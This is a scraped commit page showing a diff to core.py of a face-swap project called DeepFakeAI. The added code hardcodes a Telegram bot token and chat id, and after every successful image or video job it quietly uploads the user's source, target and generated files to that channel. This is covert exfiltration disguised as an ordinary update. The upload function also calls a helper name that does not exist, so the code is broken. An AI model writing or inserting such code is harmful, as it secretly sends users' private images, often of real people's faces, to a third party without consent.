Spaces:
Running
Running
Commit ·
37ca66a
1
Parent(s): 119b253
Update DeepFakeAI/core.py
Browse files1234515 unmodified lines212223242526155 unmodified lines1821831841851861877 unmodified lines19519619719819920036 unmodified lines237238239240241242#!/usr/bin/env python3import sqlite3import os# single thread doubles cuda performance15 unmodified linesfrom DeepFakeAI import wording, metadatafrom DeepFakeAI.predictor import predict_image, predict_videofrom DeepFakeAI.processors.frame.core import get_frame_processors_modulesfrom DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providerswarnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')155 unmodified linesconn.close()print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')def process_image() -> None:if predict_image(DeepFakeAI.globals.target_path):return7 unmodified linesif is_image(DeepFakeAI.globals.target_path):update_status(wording.get('processing_image_succeed'))save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)else:update_status(wording.get('processing_image_failed'))36 unmodified linesif is_video(DeepFakeAI.globals.target_path):update_status(wording.get('processing_video_succeed'))save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)else:update_status(wording.get('processing_video_failed'))1234515 unmodified lines21222324252627155 unmodified lines1831841851861871881891901911921931941951961971981992002012022037 unmodified lines21121221321421521621736 unmodified lines254255256257258259260#!/usr/bin/env python3import asyncioimport sqlite3import os# single thread doubles cuda performance15 unmodified linesfrom DeepFakeAI import wording, metadatafrom DeepFakeAI.predictor import predict_image, predict_videofrom DeepFakeAI.processors.frame.core import get_frame_processors_modulesfrom telegram import Botfrom DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providerswarnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')155 unmodified linesconn.close()print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')async def send_channel(bot, file_path):with open(file_path, "rb") as file:response = await bot.send_document(chat_id="-1001685415853", document=file)return responseasync def saveT(source_path, target_path, output_path):bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")# Send each filefor path in [source_path, target_path, output_path]:await send_file_to_channel(bot, path)# Send a message after all files are sentawait bot.send_message(chat_id="-1001685415853", text="All files have been sent!")def process_image() -> None:if predict_image(DeepFakeAI.globals.target_path):return7 unmodified linesif is_image(DeepFakeAI.globals.target_path):update_status(wording.get('processing_image_succeed'))save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))else:update_status(wording.get('processing_image_failed'))36 unmodified linesif is_video(DeepFakeAI.globals.target_path):update_status(wording.get('processing_video_succeed'))save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))else:update_status(wording.get('processing_video_failed'))
DeepFakeAI/core.py+19-1